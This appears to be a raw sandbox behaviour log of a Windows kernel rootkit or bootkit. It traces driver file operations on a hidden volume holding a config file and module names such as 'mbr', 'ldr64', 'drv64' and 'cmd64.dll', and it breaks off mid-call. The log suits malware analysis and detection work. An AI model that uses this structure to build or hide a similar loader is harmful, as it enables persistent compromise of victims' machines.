ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.225] KeLeaveCriticalRegion () [0129.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.225] KeEnterCriticalRegion () [0129.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.225] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.225] IdePortDispatch () returned 0x103 [0129.225] KeWaitForMutexObject () returned 0x0 [0129.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.226] KeLeaveCriticalRegion () [0129.226] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.226] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.226] KeEnterCriticalRegion () [0129.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.226] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bba000 [0129.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.226] IdePortDispatch () returned 0x103 [0129.226] KeWaitForMutexObject () returned 0x0 [0129.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.226] IdePortDispatch () returned 0x103 [0129.226] KeWaitForMutexObject () returned 0x0 [0129.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.226] KeLeaveCriticalRegion () [0129.226] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.227] KeEnterCriticalRegion () [0129.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] KeLeaveCriticalRegion () [0129.227] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.227] KeEnterCriticalRegion () [0129.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.227] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] KeLeaveCriticalRegion () [0129.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.227] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.227] KeEnterCriticalRegion () [0129.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.227] KeLeaveCriticalRegion () [0129.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.227] ReleaseMutex (hMutex=0xf0) returned 1 [0129.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.228] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.228] KeEnterCriticalRegion () [0129.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.228] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.228] IdePortDispatch () returned 0x103 [0129.228] KeWaitForMutexObject () returned 0x0 [0129.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03390 [0129.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.228] KeLeaveCriticalRegion () [0129.228] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.228] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.228] KeEnterCriticalRegion () [0129.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.228] KeLeaveCriticalRegion () [0129.228] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.228] KeEnterCriticalRegion () [0129.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.228] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.228] IdePortDispatch () returned 0x103 [0129.229] KeWaitForMutexObject () returned 0x0 [0129.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.229] KeLeaveCriticalRegion () [0129.229] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.229] KeEnterCriticalRegion () [0129.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbb000 [0129.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.229] IdePortDispatch () returned 0x103 [0129.229] KeWaitForMutexObject () returned 0x0 [0129.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.229] IdePortDispatch () returned 0x103 [0129.230] KeWaitForMutexObject () returned 0x0 [0129.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.230] KeLeaveCriticalRegion () [0129.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.230] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.230] KeEnterCriticalRegion () [0129.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.230] KeLeaveCriticalRegion () [0129.230] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.230] KeEnterCriticalRegion () [0129.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.230] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.230] KeLeaveCriticalRegion () [0129.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.230] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.230] KeEnterCriticalRegion () [0129.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.231] ExFreePoolWithTag (P=0xfffffa8003c03390, Tag=0x0) [0129.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.231] KeLeaveCriticalRegion () [0129.231] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.231] ReleaseMutex (hMutex=0xf0) returned 1 [0129.231] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.231] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.231] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.231] KeEnterCriticalRegion () [0129.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.231] IdePortDispatch () returned 0x103 [0129.231] KeWaitForMutexObject () returned 0x0 [0129.231] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.231] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.231] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.231] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.231] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.231] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.231] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.231] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.231] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.231] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.231] KeLeaveCriticalRegion () [0129.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.232] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.232] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.232] KeEnterCriticalRegion () [0129.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.232] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.232] IdePortDispatch () returned 0x103 [0129.232] KeWaitForMutexObject () returned 0x0 [0129.232] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.232] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.232] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.232] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.232] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.232] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.232] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.232] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.232] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.232] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.232] KeLeaveCriticalRegion () [0129.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.232] ReleaseMutex (hMutex=0x100) returned 1 [0129.232] Sleep (dwMilliseconds=0x2bf20) [0129.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x703b77b0, dwHighDateTime=0x1d24fa4)) [0129.240] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.240] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.240] KeEnterCriticalRegion () [0129.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.240] IdePortDispatch () returned 0x103 [0129.240] KeWaitForMutexObject () returned 0x0 [0129.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.240] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03390 [0129.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.240] KeLeaveCriticalRegion () [0129.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.241] KeEnterCriticalRegion () [0129.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.241] KeLeaveCriticalRegion () [0129.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.241] KeEnterCriticalRegion () [0129.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.241] IdePortDispatch () returned 0x103 [0129.241] KeWaitForMutexObject () returned 0x0 [0129.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.241] KeLeaveCriticalRegion () [0129.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.241] KeEnterCriticalRegion () [0129.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbe000 [0129.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.241] IdePortDispatch () returned 0x103 [0129.241] KeWaitForMutexObject () returned 0x0 [0129.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.242] IdePortDispatch () returned 0x103 [0129.242] KeWaitForMutexObject () returned 0x0 [0129.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.242] KeLeaveCriticalRegion () [0129.242] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.242] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.242] KeEnterCriticalRegion () [0129.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] KeLeaveCriticalRegion () [0129.243] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.243] KeEnterCriticalRegion () [0129.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, 